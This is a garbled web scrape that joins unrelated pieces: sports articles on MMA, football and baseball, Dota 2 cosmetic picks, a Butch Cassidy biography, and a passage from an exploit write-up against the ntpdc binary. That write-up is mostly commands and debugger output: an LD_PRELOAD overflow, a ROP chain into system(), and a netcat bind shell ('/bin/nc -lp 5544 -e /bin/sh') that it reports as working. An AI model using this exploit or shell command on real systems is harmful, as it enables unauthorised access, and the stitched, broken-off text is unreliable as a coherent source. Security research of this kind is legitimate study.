calendar lists thirteen 2.HC races, with the Tour of Norway being the newest addition. Bradley Wiggins (Sky) was the winner of this year’s Tour of Britain.The bad feelings between Quinton Jackson and Ultimate Fighting Championship (UFC) have made frequent mixed martial arts (MMA) headlines the past few months. After stating that he believes UFC matchmaker Joe Silva should be "shot in the face" for what he believed to be an inferior job of putting bouts together between himself and "boring fighters," it was clear that the relationship was beyond repair. "'Rampage" has one fight left on his contract with the UFC, which many believed would be against "Shogun" Mauricio Rua. Unfortunately, that match up never came to fruition because of knee surgery for Jackson that will keep him out of action for a while. After that? He's told HDNet's "Inside MMA" he's done with the UFC for good: "After I leave the UFC, I'm done with them! Just like when I left PRIDE. You remember when I left PRIDE? It's over. I was very loyal to PRIDE. I fought for PRIDE, and I fought the way I fought to put butts in seats. I took risks, slammed people and stuff like that. PRIDE did a good job. They built me up. I wasn't that good when I first came out. I fought Sakuraba and they built me up and then threw me in some tough fights. That's the way you're supposed to do it. Now, the UFC, I was a better fighter when I came there. My second fight, they throw me to Chuck Liddell. The fans didn't know who I was. I knocked him out, the fans booed me. That changed me, who I am towards the fans. I used to be the nicest guy towards fans. My first time getting booed. How are you gonna boo somebody for knocking somebody out? But I got a whole other opinion on that. And now, the UFC's just throwing me all these boring fighters, these game planners, these wrestlers. I'm the type of fighter who you should match up with people who want to fight excitingly. You know what I'm saying? Cuz I'm gonna be the type of fighter who puts butts in seats." In the meantime, Jackson is contractually bound to the UFC and cannot even consider other organizations. He made it clear that he's in no hurry to step back into the cage, as he feels he really needs to take his time and make sure his knees are 100 percent: "I can't even negotiate with anybody. I'm not even negotiating with anybody right now. I got one fight with the UFC. After I do that fight with the UFC, then I can negotiate and figure out what I'm gonna do next. I got so much other stuff going on, I could take a year off from fighting, and I don't even care. There's other things I wanna do. I'm more than a fighter. I'm an entertainer. I like entertaining people. I like making people laugh, I like entertaining people. I like fighting. I like beating people up. But, I still gotta heal up. I'm not jumping right back into fighting, right away. I got my knees to worry about. I've been fighting injured for a while." Jackson further elaborated on his injury, stating that these knee problems are nothing new. In fact, he's dealt with them his whole career: "I might as well say it now. It's something that I've never told anybody. I came into MMA injured. I got injured really bad in college. I went and got surgery and let it heal up naturally, so I've been babying my knee all these years. So, now, when I fought Rashad (Evans) the first time and got injured pretty bad, and after that, I've just been babying it and babying it. It was just a matter of time before I was gonna need surgery on it, before I got injured really bad. In this last fight with (Ryan) Bader, like, a month before the fight, I think one of my ligaments kinda tore a little bit. I was like, 'You know what? I'm still gonna fight because it's Japan. And then, after my fight, I'm gonna get it fixed. I'm not gonna injure it again.'" In his downtime, "Rampage" now has ample opportunity to be a fan and just observe the sport. Though he does have the time, he says the UFC's busy schedule is just too much for him to keep up with: "Yeah, I got one fight left on my contract. I'll watch the UFC. Some of my friends fight there, but there's too many fights for me to keep up. I don't even know who's fighting next. There's too many fights for me to keep up with. They always get new fights coming up. I think it's too much MMA, actually. I liked it better, back in the day, when you wanted it and couldn't wait to see it. Now, it's everywhere! They got The Ultimate Fighter and all this stuff. I can't keep up." "Rampage" wasn't done aiming shots at people. When asked who he'd like to fight in his final Octagon appearance, he had some names in mind, but he was even more vocal about the fighters (or types of fighters) who he doesn't want to fight in his send-off: "I would love to fight somebody like Shogun. Somebody like Forrest. Somebody who beat me before. Somebody who wants to put on a good fight. I'm tired of fighting these guys who are cowards. I call them cowards. They just run around the cage, they game plan and they take you down. It's okay to take people down, but they just hump you and lay down on top of you the whole time. That's what's disgusting to me." Do you Maniacs think we'll ever even see "Rampage" fight in the UFC again? If so, who would you most like to see him fight as he bids us all farewell?posted by PookieThePie ADVERTISING: 1. Deep Sea Scoundrel Willypup See this set in action in a snazzy video here 2. Teoxihuitl's Armory Cat Check out his custom weapons as well here 3. Shadow Flame Anuxi ♥ See this Dazzle bring sexy mane back here 4. Ensemble of the Crystalline Comet Yi The set features an adorable loading screen, check it out here 5. Kanyu the Land Shark mihalceanu In-game video and features await reviews here Celths HATE the hero, love that loading screen especially! See here I must pick for my people! Slark set byA set for Slark that makes him look even more badass than he already is, it was created in collaboration with Nexon and shows an incredible attention to detail. The pièce de résistance in this set draws our attention to Slark's jaws, where the author created a mask to "stop him from biting too much". As if his bite was the part of him causing all the ultra kills...Huskar set byNow I'm sure deep, deep down people have always wondered: what do you get when you mix an inca with an Avatar character? Right? Well, for those of you pondering at night what the answer to this question could be, take a look at this new Huskar set and please share a moment of silence for that poor kitty on top of his head. Amazing set, cats... uhm, I mean, hats off.Dazzle set byI may be biased here, since Dazzle is one of my favorite heroes in the game, but I'm always happy to see him get shiny new stuff. Amongst the feathery finesse this set possesses, the weapon called the "Dazzlator" shows us that he means business. And he usually does, since playing against him has made every one of us scream "F-ing Dazzle!" at our computers, at one point or another. Those graves coming out of nowhere, that almost spammable healing... They sure make you wish he was on your team.Crystal Maiden set bySpeaking of finesse, this set brings out the elegant, innocent side of Crystal Maiden. Covered head to toe (well, except for "key" parts) in a story-like shade of blue, it's pretty hard to think that this fine young lady can get you cold-heartedly frozen (see what I did there?) and killed in no time. It's also one set that definitely would prove both a challenge and a delight for all the fans of CM cosplay out there. And that weapon? Wow.Courier byOkay, let's break this one down piece by piece and I dare you to hate it. It's ashark. On wheels. Carrying your items to you. And if that isn't enough to make you fall in love with this creature, the flying version of it is even more ridiculous, since the shark is now being carried around by. 'Nuff said.Honorable mention:Disruptor Set of the Tempest's Wrath byNew yummy sets and non-hero items coming next week and it's getting harder and harder to decide! Amazing week filled with goodies and I'm sorry for the ones I couldn't mention in this article, but props to all the creative, inspiring authors in the workshop.GL HF.While contending teams are buying veterans in July, tomorrow’s stars are making their cases for advancement to general managers like Matt Klentak of the Philadelphia Phillies between now and the trading deadline. Make-or-Break June: Sometimes, people confuse expectation, assumption and perception with good judgment and reality – known and unknown. Under normal circumstances, Klentak’s preference is success for half a campaign to earn a promotion for the balance of this summer or the next Opening Day. The GM knows a player with a hot April can also have a cold May because most hitters are streaky. In other words, the regular’s numbers overall can deceive a casual observer positively or negatively if that fan has a preconceived notion. For instance, Tommy Joseph is batting.257 but his average is.296 from May 1 through June 12. If a general manager has a productive regular at a position, he’s going to concentrate on the squad’s weaknesses, not its strengths. Ergo, since Joseph has a 2017 projection of.257 with 26 homers and 84 RBIs, he is blocking Rhys Hoskins. But keep in mind, Triple-A production is not a guarantee against major league pitching. When the parent club has an injury, the opportunity to impress management is at hand for the Triple-A stud. For example, Jim Thome was blocking Ryan “The Big Piece” Howard at first base. Ergo, Howard did not advance but Thome’s trip to the disabled list changed the equation. Despite an 11-12 mark for April, Twitter users were in mid-season form with demotions: Why was Joseph still here and Hoskins at Lehigh Valley? Another tweet stated Cameron Rupp is a backup for Jorge Alfaro. And they didn’t forget about Andrew Knapp either because they loved his porn ‘stache (their words). Did they have a new career in mind for him?The Professional Footballers' Association chief executive, Gordon Taylor, has defended the presence of Luis Suárez on the six-man shortlist for the union's Player of the Year award. Suárez's main rivals for the award are Gareth Bale, who has also been nominated in the Young Player category, and Robin van Persie, who won it last season before leaving Arsenal for Manchester United. In a shortlist that includes no defenders or goalkeepers, and no representation from the champions Manchester City, the biggest surprise is the absence of the Swansea forward Michu, whom many believe to be the signing of the season. Instead, the Chelsea duo of Juan Mata and Eden Hazard are included, in addition to United's Michael Carrick who, at 31, enjoys his first nomination. The six players are shortlisted on the basis of votes cast by their fellow professionals. There is no doubt Suárez has been one of the best players in the Premier League this year. However, his reputation has been damaged by the eight-match ban he received for racially abusing Patrice Evra at Anfield last season. Given his handball also denied Ghana an appearance in the 2010 World Cup semi-finals and the periodic allegations of diving, some would argue he hardly deserves to be acknowledged by his peers. But Taylor, while accepting Suárez is a controversial figure, feels the Uruguayan's on-pitch performances, including 29 goals for Liverpool this term, make him worthy of inclusion. "Sometimes controversy travels with players," said Taylor. "Sometimes it is in their very nature. Sometimes it is that very intensity that causes a problem also makes sure they win. "Luis Suárez is helping to restore Liverpool. It is a credit to them that he seems comfortable there and no one could deny he is one of the finest players in the world." Yet if Suárez wins the award when it is announced on 28 April, it will put the PFA in an uncomfortable position given his background. "It is very difficult at times," said Taylor. "Players are expected to be top role models and set the finest example. That goes with the trade these days. "I don't underestimate the need for them to do all they can to be seen as a good example. But they are also human beings. It is not always possible to put old heads on relatively young shoulders. "This is a footballing award and Suárez's footballing ability shines through. It would be naive to think controversy won't continue to travel with him. But I think his football has maintained his place." Suárez's manager at Liverpool, Brendan Rodgers, said: "It is great for Luis and a mark of the team. I'm sure he will be the first to recognise the great support he has from the players around him. He has been absolutely outstanding this season. You can only judge these things on football and I am sure he is one of the favourites to win it." Like Bale, Hazard has also been listed for the Young Player prize, where he faces competition from Christian Benteke, Romelu Lukaku, Danny Welbeck and Jack Wilshere. Welbeck, Wilshere and Carrick are the only English players out of the 12 men nominated. For the first time, there will be a Women's Player of the Year prize too, with Scotland's Kim Little among those nominated in addition to her 20-year-old Arsenal team-mate Jordan Nobbs, who scored a stunning debut goal against Italy in England's triumphant Cyprus Cup campaign in March. PFA Player of the Year award shortlist Gareth Bale, Michael Carrick, Eden Hazard, Juan Mata, Luis Suárez and Robin van Persie PFA Young Player of the Year award shortlist Gareth Bale, Christian Benteke, Eden Hazard, Romelu Lukaku, Danny Welbeck, Jack Wilshere PFA Women's Player of the Year award shortlist Gemma Davison, Toni Duggan, Jessica Fishlock, Kim Little, Jordan Nobbs, Jodie TaylorRobert Leroy Parker (April 13, 1866 – November 7, 1908), better known as Butch Cassidy,[1] was an American train robber and bank robber, and the leader of a gang of criminal outlaws known as the "Wild Bunch" in the American Old West. After participating in criminal activity in the United States for more than a decade at the end of the 19th century, the pressures of being pursued by law enforcement, notably by the Pinkerton detective agency, forced Parker to flee the country with an accomplice, Harry Alonzo Longabaugh, known as the "Sundance Kid", and Longabaugh's girlfriend Etta Place. The trio traveled first to Argentina and then to Bolivia, where Parker and Longabaugh are believed to have been killed in a shootout with police in November 1908; the exact circumstances of their fate continue to be disputed. Parker's life and death have been extensively dramatized in film, television, and literature, and he remains one of the most well-known icons of the "Wild West" mythos in modern times. Early life [ edit ] Robert Leroy Parker was born on April 13, 1866, in Beaver, Utah, the first of 13 children of British immigrants Maximillian Parker and Ann Campbell Gillies.[2][3][4] The Parker and Gillies families had converted to the Mormon faith while still living in England and Ireland. Maximillian Parker was 12 years old when his family arrived in Salt Lake City in 1856 as Mormon pioneers;[5] Ann Gillies was born and lived in Tyneside, in northeast England, before immigrating to America with her family in 1859 at the age of 14.[6][7][8] The couple was married in July 1865.[9] Robert grew up on his parents' ranch near Circleville, Utah, approximately 215 miles (346 km) south of Salt Lake City.[citation needed] Criminal career [ edit ] Butch Cassidy's first criminal offense was minor. Around 1880, he journeyed to a clothier's shop in another town but found the shop closed. He entered the shop and stole a pair of jeans and some pie, leaving an IOU promising to pay on his next visit. The clothier pressed charges, but Cassidy was acquitted by a jury. He continued to work on ranches until 1884, when he moved to Telluride, Colorado, ostensibly to seek work but perhaps to deliver stolen horses to buyers. He led a cowboy's life in Wyoming and Montana before returning to Telluride in 1887. There he met Matt Warner, the owner of a race horse. Cassidy and Warner raced the horse at various events, dividing the winnings between them. The white building at right housed the San Miguel Valley Bank, the site of Cassidy's first bank robbery in 1889 Cassidy's first bank robbery took place on June 24, 1889, when he, Warner and two of the McCarty brothers robbed the San Miguel Valley Bank in Telluride, stealing approximately $21,000 (equivalent to $586,000 in 2018), after which they fled to the Robbers Roost, a remote hideout in southeastern Utah. In 1890, Cassidy purchased a ranch on the outskirts of Dubois, Wyoming. This location is across the state from the notorious Hole-in-the-Wall, a natural geological formation and a popular hideout for outlaw gangs including Cassidy's during the era, so it is possible that Cassidy's ranching, at which he was never economically successful, was a façade for clandestine activities, perhaps with Hole-in-the-Wall outlaws.[11] In his ranching business Butch Cassidy used the "unmistakable brand" of "Reverse-E, Box, E".[12] In early 1894, Cassidy became involved romantically with outlaw and rancher Ann Bassett. Bassett's father, rancher Herb Bassett, did business with Cassidy, supplying him with fresh horses and beef. That same year, Cassidy was arrested at Lander, Wyoming, for stealing horses and possibly for running a protection racket among the local ranchers there. He was imprisoned in the Wyoming State Prison in Laramie, Wyoming. After serving 18 months of a two-year sentence, Cassidy was released and pardoned in January 1896 by Governor William Alford Richards.[13] He became involved briefly with Ann Bassett's older sister, Josie, before returning to Ann. Formation of the Wild Bunch [ edit ] Cassidy associated with a broad circle of criminals, most notably his closest friend William Ellsworth "Elzy" Lay, Harvey "Kid Curry" Logan, Ben Kilpatrick, Harry Tracy, Will "News" Carver, Laura Bullion, and George "Flat Nose" Curry, who collectively became the nucleus of the so-called "Wild Bunch". The gang assembled sometime after Cassidy's release from prison in 1896 and took its name from the Doolin–Dalton gang, also known as the "Wild Bunch".[14] Cassidy's mugshot from the Wyoming Territorial Prison in 1894 On August 13, 1896, Cassidy, Lay, Logan and Bob Meeks[15] robbed the bank at Montpelier, Idaho, escaping with approximately $7,000. Shortly thereafter Cassidy[clarification needed] recruited Harry Alonzo Longabaugh, also known as "The Sundance Kid", a native of Pennsylvania, into the Wild Bunch. In early 1897, Cassidy was joined at Robbers Roost by Ann Bassett, Elzy Lay, and Lay's girlfriend Maude Davis. The four hid there until early April, when Lay and Cassidy sent the women home so that the men could plan their next robbery. On April 22, 1897, in the mining town of Castle Gate, Utah, Cassidy and Lay ambushed a small group of men carrying the payroll of the Pleasant Valley Coal Company, stealing a sack containing $7,000 in gold, with which they fled again to the Robbers Roost. On June 2, 1899, the gang robbed a Union Pacific Overland Flyer passenger train near Wilcox, Wyoming, a robbery which earned the Wild Bunch a great deal of notoriety and resulted in a massive manhunt.[16][17] Many notable lawmen of the day took part in the hunt for the robbers, but they were not found. During a shootout with lawmen following the train robbery, both Kid Curry and George Curry shot and killed Sheriff Joe Hazen. Tom Horn, a killer-for-hire employed by the Pinkerton Agency, obtained information from explosives expert Bill Speck about the Hazen shooting, and then passed this information to Pinkerton detective Charlie Siringo, who was assigned the task of capturing the outlaws. The gang escaped into the Hole-in-the-Wall. Siringo became friends with Elfie Landusky, who was using the last name Curry after allegedly becoming pregnant by Kid Curry's brother, Lonny. Through her, Siringo intended to locate the gang. On July 11, 1899, Lay and others were involved in a Colorado and Southern Railroad train robbery near Folsom, New Mexico, which Cassidy may have planned and personally directed. A shootout ensued with local law enforcement, during which Lay killed Sheriff Edward Farr and Henry Love; Lay was convicted of murder and sentenced to life imprisonment at the New Mexico State Penitentiary. The Wild Bunch would typically separate following a robbery and flee in different directions, later reuniting at a predetermined location, such as the Hole-in-the-Wall hideout, Robbers Roost, or Madame Fannie Porter's brothel in San Antonio, Texas. 1896 plea for amnesty [ edit ] Cassidy appears to have approached Governor Heber Wells of Utah, which achieved statehood in 1896, to negotiate an amnesty. Wells appears to have declined, advising Cassidy to instead approach the Union Pacific Railroad to persuade them to drop their criminal complaints against him. Union Pacific Railroad chairman E. H. Harriman attempted to meet with Cassidy through his old ally Matt Warner. On August 29, 1900, Cassidy, Longabaugh and others robbed Union Pacific train No. 3 near Tipton, Wyoming, violating Cassidy's earlier promise to the Governor of Wyoming and ending any chance for amnesty. Click a person for more information. Click elsewhere on the image for a larger image. "Fort Worth Five" photograph, December 1900. Cassidy is seated on the far right. On February 28, 1900, lawmen attempted to arrest Kid Curry's brother, Lonny, at his aunt's home. Lonny was killed in the shootout that followed, and his cousin Bob Lee was arrested for rustling and sent to prison in Wyoming. On March 28, Kid Curry and News Carver were pursued by a posse from St. Johns, Apache County, Arizona after being identified passing currency from the Wilcox, Wyoming train robbery. The posse engaged them in a shootout, during which Deputy Andrew Gibbons and Deputy Frank LeSueur were killed. Carver and Curry escaped. On April 17, George Curry was killed in a shootout with Grand County, Utah Sheriff John Tyler and Deputy Sam Jenkins. On May 26, Kid Curry rode into Moab, Utah and killed both Tyler and Jenkins in another shootout in retaliation for the deaths of George and Lonny. In December, Cassidy posed alongside Longabaugh, Logan, Carver, and Ben Kilpatrick in Fort Worth, Texas for the now-famous "Fort Worth Five" photograph. The Pinkerton Detective Agency obtained a copy of the photograph and began to use it for wanted posters. On July 3, 1901, Kid Curry and a group of men robbed a Great Northern train near Wagner, Montana.[18] This time, they took over $60,000 in cash (equivalent to $1,810,000 in 2018). The gang split up, and News Carver was killed by a posse led by Sheriff Elijah Briant. On December 12, 1901, Ben Kilpatrick was captured in Knoxville, Tennessee with Laura Bullion. On December 13, during another shootout, Kid Curry killed Knoxville policemen William Dinwiddle and Robert Saylor and then escaped. Despite being pursued by Pinkerton agents and other law enforcement officials, Curry returned to Montana, where he shot and killed rancher James Winters in retaliation for the killing of his brother Johnny years before.[19] Escape to South America [ edit ] With the gang breaking up, and feeling continuous pressure from the numerous law enforcement agencies pursuing them, Cassidy and Longabaugh fled to New York City. On February 20, 1901,[20][21][22][23] along with Etta Place, Longabaugh's female companion, they departed to Buenos Aires, Argentina aboard the British steamer Herminius. Cassidy posed as James Ryan, Place's fictitious brother. They settled in a four-room log cabin on a 15,000-acre (61 km2) ranch that they purchased on the east bank of the Rio Blanco near Cholila, just east of the Andes in the Argentine province of Chubut. 1905 [ edit ] On February 14, 1905, two English-speaking bandits, who may have been Cassidy and Longabaugh, held up the Banco de Tarapacá y Argentino in Río Gallegos, 700 miles (1,100 km) south of Cholila, near the Strait of Magellan. Escaping with a sum that would be worth at least US$100,000 today,[citation needed] the pair vanished north across the Patagonian grasslands. On May 1, fearing that law enforcement had located them, the trio sold the Cholila ranch. The Pinkerton Agency had known their location for some time, but the snow and the hard winter of Patagonia had prevented their agent, Frank Dimaio, from making an arrest. Governor Julio Lezana issued an arrest warrant, but before it could be executed, Sheriff Edward Humphreys, a Welsh-Argentine who was friendly with Cassidy and enamored of Etta Place, tipped them off. The trio fled north to San Carlos de Bariloche where they embarked on the steamer Condor across Nahuel Huapí Lake and into Chile. By the end of the year they had returned to Argentina; on December 19, Cassidy, Longabaugh, Place and an unknown male associate robbed the Banco de la Nación branch in Villa Mercedes, 400 miles (640 km) west of Buenos Aires, taking 12,000 pesos. Pursued by armed lawmen, they fled across the Pampas and the Andes to reach the safety of Chile. On June 30, 1906, Etta Place decided that she had had enough of life on the run, and was escorted back to San Francisco by Longabaugh. Cassidy, under the alias James "Santiago" Maxwell, obtained work at the Concordia Tin Mine in the Santa Vera Cruz range of the central Bolivian Andes, where he was joined by Longabaugh upon his return. Their main duties included guarding the company payroll. Still wanting to settle down as a respectable rancher, in late 1907 Cassidy traveled with Longabaugh to Santa Cruz, a frontier town in Bolivia's eastern savannah. Death [ edit ] The facts surrounding Butch Cassidy's death are uncertain. On November 3, 1908, near San Vicente in southern Bolivia, a courier for the Aramayo Franke and Cia Silver Mine was conveying his company's payroll, worth about 15,000 Bolivian pesos, by mule, when he was attacked and robbed by two masked American bandits believed to be Cassidy and Longabaugh. Three days later, a pair of Americans suspected of being the bandits were seen in the small mining town of San Vicente, where they lodged in a small boarding house owned by a local resident miner named Bonifacio Casasola.[24] Casasola became suspicious of his two foreign lodgers. A mule they had in their possession was from the Aramayo Mine, identifiable from the mine company's brand on the mule's left flank. Casasola left his house and notified a nearby telegraph officer, who in turn notified a small Bolivian Army cavalry unit stationed nearby, the Abaroa Regiment. The unit dispatched three soldiers, under the command of Captain Justo Concha, to San Vicente, where they notified the local authorities. On the evening of November 6, the lodging house was surrounded by the soldiers, the police chief, the local mayor, and some of his officials, with the intent to arrest the Aramayo robbers. When the soldiers approached the house, the bandits opened fire, killing one of the soldiers and wounding another. A gunfight then ensued. The mayor heard a man inside the house scream three times. Soon afterward, two successive shots were fired from inside the house.[24] The authorities cautiously entered the house the next morning, whereupon they found two bodies, both with numerous bullet wounds to the arms and legs. The man assumed to be Longabaugh had a bullet wound in the forehead and the man thought to be Cassidy had a bullet hole in the temple. The local police report speculated that, judging from the positions of the bodies, Cassidy had probably shot the fatally wounded Longabaugh to put him out of his misery, just before killing himself. In the following investigation by the Tupiza police, the bandits were identified as the men who robbed the Aramayo payroll transport, but the Bolivian authorities didn't know their real names, nor could they positively identify them.[24] The bodies were buried at the small San Vicente cemetery, near the grave of a German miner named Gustav Zimmer. Although attempts have been made to find their unmarked graves, notably by the American forensic anthropologist Clyde Snow and his researchers in 1991, no remains with DNA matching the living relatives of Cassidy and Longabaugh have yet been discovered.[24] In 2017 a new search was launched for the grave of Cassidy. It zeroed in on a mine outside Goodsprings, NV. DNA was taken from a nephew of his (via birth by Cassidy's Sister). The dig managed to find human remains, but did not match the DNA provided.[25] Rumors of survival [ edit ] In his Annals of the Former World, John McPhee repeats a story told to geologist David Love in the 1930s by Love's family doctor, Francis Smith, M.D., when Love was a doctoral student. Smith stated that he had just seen Cassidy who told him that his face had been altered by a surgeon in Paris, and that he showed Smith an old bullet wound that Smith recognized as work he had previously done on Cassidy.[26] In a 1960 interview, Josie Bassett claimed that Cassidy came to visit her in the 1920s "after returning from South America," and that "Butch died in Johnnie, Nevada,[27] about 15 years ago."[28] Locals of Cassidy's hometown of Circleville, Utah claimed in an interview that Cassidy worked in Nevada until his death.[29] Western historian Charles Kelly closed the chapter "Is Butch Cassidy Dead?" in his 1938 book, The Outlaw Trail: A History of Butch Cassidy and His Wild Bunch, by observing that if Cassidy "is still alive, as these rumors claim, it seems exceedingly strange that he has not returned to Circleville, Utah, to visit his old father, Maximillian Parker, who died on July 28, 1938, at the age of 94 years." Kelly is thought to have interviewed Parker's father, but no known transcript of such an interview exists.[30] A second-season episode of the television series In Search of... (1978) casts doubts on Kelly's conclusions, examining the claims and possible evidence for Butch Cassidy's return to North America during the 1920s. In a series of interviews with residents of Baggs, Wyoming, a popular destination for the Wild Bunch during their raiding years, Cassidy was said to have visited for several days in 1924, driving a Ford Model T. Among the residents interviewed is the town sheriff, Ross Moore, who claims it was common knowledge locally that Cassidy did not die in South America, stating that his own grandmother saw Cassidy in 1924. In the episode, author John Rolfe Burroughs[31] recounts several interviews he reportedly conducted in the 1950s that support the claims of a 1924 visit by Parker to Baggs, Wyoming. This episode also interviews Cassidy's sister, Lula Parker Betenson (d. 1980),[32] who states that Cassidy returned to the family home in Circleville, Utah during this same period. Betenson states that Cassidy picked up his brother Mark Parker in a Ford automobile, then drove to the home of their father Maximillian Parker,[33] where Betenson also lived. She reports the elder Parker having said to her "I'll bet you don't know who this is. This is your brother Robert Leroy." Betenson observes that her brother's life was full of regrets, particularly at having disappointed his mother so terribly, with Cassidy having reportedly stated "[A]ll I done is make a wreck of my life." Betenson claims that Cassidy lived out his years in "the Northwest" and died in 1937, and that the family had agreed not to disclose his final resting place since "[T]hey had chased him all his life, and now he's going to rest in peace." This story is also recounted by W. C. Jameson in Butch Cassidy: Beyond the Grave,[34] referencing the 1975 book Betenson co-authored with Dora Flack, Butch Cassidy, My Brother.[14] Aliases [ edit ] George Parker [35] George Cassidy [1] Lowe Maxwell [1] James "Santiago" Maxwell [36] James Ryan [36] Butch Cassidy [1] Santiago Lowe Alleged friends [ edit ] William T. Phillips claimed to have known Butch Cassidy since childhood.[37] In his book In Search of Butch Cassidy,[38] Larry Pointer speculated that Phillips was actually Butch Cassidy, based upon stories in Phillip's unpublished manuscript, The Bandit Invincible, and a resemblance between Phillips and Cassidy. However, in 2012, Pointer obtained a copy of the Wyoming Territorial Prison mugshot of William T. Wilcox, a previously unknown associate of Butch Cassidy. Observing the similarities between the two men, he revised his previous theory and concluded that Phillips was in fact Wilcox, and not Butch Cassidy.[39] In popular culture [ edit ] Literature [ edit ] Television [ edit ] Film [ edit ] See also [ edit ]Denver, Colo., Jun 25, 2015 / 04:02 am (CNA/EWTN News).- A few months ago, several writers opened up a conversation they felt was long overdue in a book titled “Selfish, Shallow, and Self-Absorbed: Sixteen Writers on the Decision to
magic, we can find the offset in our LD_PRELOAD string and take control over EIP and the stack: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $ export LD_PRELOAD=`python -c 'print "A"8490 + "AAAA" + "BBBB"'` $ python -c "print 'A'485 + '\xe0\x43\x01\x80' + 'A'79 + '\x8d\x67\x02\x80' + 'B'600" > input.file $ gdb -q /usr/bin/ntpdc gdb-peda$ r < input.file Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x6c61636f ('ocal') EBX: 0x41414141 ('AAAA') ECX: 0x13560 EDX: 0x42424242 ('BBBB') ESI: 0x41414141 ('AAAA') EDI: 0x41414141 ('AAAA') EBP: 0x41414141 ('AAAA') ESP: 0xbffff3bc ("BBBB") EIP: 0x41414141 ('AAAA') EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414141 [------------------------------------stack-------------------------------------] 0000\| 0xbffff3bc ("BBBB") 0004\| 0xbffff3c0 --> 0x4e495700 ('') 0008\| 0xbffff3c4 ("DOWID=69206020") 0012\| 0xbffff3c8 ("D=69206020") 0016\| 0xbffff3cc ("206020") 0020\| 0xbffff3d0 --> 0x47003032 ('20') 0024\| 0xbffff3d4 ("NOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM") 0028\| 0xbffff3d8 ("_KEYRING_CONTROL=/tmp/keyring-iBX3uM") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414141 in?? () This gives us EIP, control over the stack, and control over a decent number of registers; however, the LD_PRELOAD trick is extremely sensitive to stack shifting which represents a pretty big problem for exploit portability. For now, I’m going to forget about it; chances are we could brute force the offset, if necessary, or simply invoke the application with env -i. From here, we need to figure out a ROP payload. The easiest payload I can think of is a simple ret2libc. Unfortunately, ASCII armor null bytes all of them: 1 2 3 4 5 6 7 8 gdb-peda$ vmmap 0x00327000 0x004cb000 r-xp /lib/i386-linux-gnu/libc-2.15.so 0x004cb000 0x004cd000 r--p /lib/i386-linux-gnu/libc-2.15.so 0x004cd000 0x004ce000 rw-p /lib/i386-linux-gnu/libc-2.15.so gdb-peda$ p system $1 = {<text variable, no debug info>} 0x366060 <system> gdb-peda$ One idea I had was to simply construct the address in memory, then call it. Using ROPgadget, I hunted for ADD/SUB instructions that modified any registers we controlled. Eventually, I discovered this gem: 1 2 0x800138f2: add edi, esi; ret 0; 0x80022073: call edi Using the above, we could pop controlled, non-null values into EDI/ESI, that when added equaled 0x366060 <system>. Many values will work, but I chose 0xeeffffff + 0x11366061 : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 EAX: 0x6c61636f ('ocal') EBX: 0x41414141 ('AAAA') ECX: 0x12f00 EDX: 0x42424242 ('BBBB') ESI: 0xeeffffff EDI: 0x11366061 EBP: 0x41414141 ('AAAA') ESP: 0xbfffefb8 --> 0x800138f2 (add edi,esi) EIP: 0x800143ea (ret) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x800143e7: pop esi 0x800143e8: pop edi 0x800143e9: pop ebp => 0x800143ea: ret 0x800143eb: nop 0x800143ec: lea esi,[esi+eiz1+0x0] 0x800143f0: mov DWORD PTR [esp],ebp 0x800143f3: call 0x80018d20 [------------------------------------stack-------------------------------------] 0000\| 0xbfffefb8 --> 0x800138f2 (add edi,esi) 0004\| 0xbfffefbc --> 0x80022073 --> 0xd7ff 0008\| 0xbfffefc0 ('C' <repeats 200 times>...) 0012\| 0xbfffefc4 ('C' <repeats 200 times>...) 0016\| 0xbfffefc8 ('C' <repeats 200 times>...) 0020\| 0xbfffefcc ('C' <repeats 200 times>...) 0024\| 0xbfffefd0 ('C' <repeats 200 times>...) 0028\| 0xbfffefd4 ('C' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x800143ea in?? () As shown above, we’ve got our two values in EDI/ESI and are returning to our ADD EDI, ESI gadget. Once this completes, we return to our CALL EDI gadget, which will jump into system : 1 2 3 4 5 6 7 EDI: 0x366060 (<system>: sub esp,0x1c) EBP: 0x41414141 ('AAAA') ESP: 0xbfffefc0 --> 0xbffff60d ("/bin/nc -lp 5544 -e /bin/sh") EIP: 0x80022073 --> 0xd7ff EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] => 0x80022073: call edi Recall the format of a ret2libc: [system() address \| exit() \| shell command] ; therefore, we need to stick a bogus exit address (in my case, junk) as well as the address of a command. Also remember, however, that CALL EDI is essentially a macro for PUSH EIP+2 ; JMP EDI. This means that our stack will be tainted with the address @ EIP+2. Thanks to this, we don’t really need to add an exit address, as one will be added for us. There are, unfortunately, no JMP EDI gadgets in the binary, so we’re stuck with a messy exit. This culminates in: 1 2 3 4 5 6 7 8 9 10 $ export LD_PRELOAD=`python -c 'print "A"8472 + "\xff\xff\xff\xee" + "\x61\x60\x36\x11" + "AAAA" + "\xf2\x38\x01\x80" + "\x73\x20\x02\x80" + "\x0d\xf6\xff\xbf" + "C"1492'` $ gdb -q /usr/bin/ntpdc gdb-peda$ r < input.file [snip all the LD_PRELOAD crap] [New process 31184] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1". process 31184 is executing new program: /bin/dash [New process 31185] process 31185 is executing new program: /bin/nc.traditional Success! Though this is a very dirty hack, and makes no claim of portability, it works. As noted previously, we can brute force the image base and stack offsets, though we can also execute the binary with an empty environment and no stack tampering with env -i, giving us a much higher chance of hitting our mark. Overall, this was quite a bit of fun. Although ASLR/PIE still poses an issue, this is a local bug that brute forcing and a little investigation can’t take care of. NX/RELRO/Canary/SSP/ASCII Armor have all been successfully neutralized. I hacked up a PoC that should work on Ubuntu boxes as configured, but it brute forces offsets. Test runs show it can take up to 2 hours to successfully pop a box. Full code can be found below.But what the gun lobby wants is more good guys -- normal average citizens like teachers and movie theater patrons -- to have more guns. 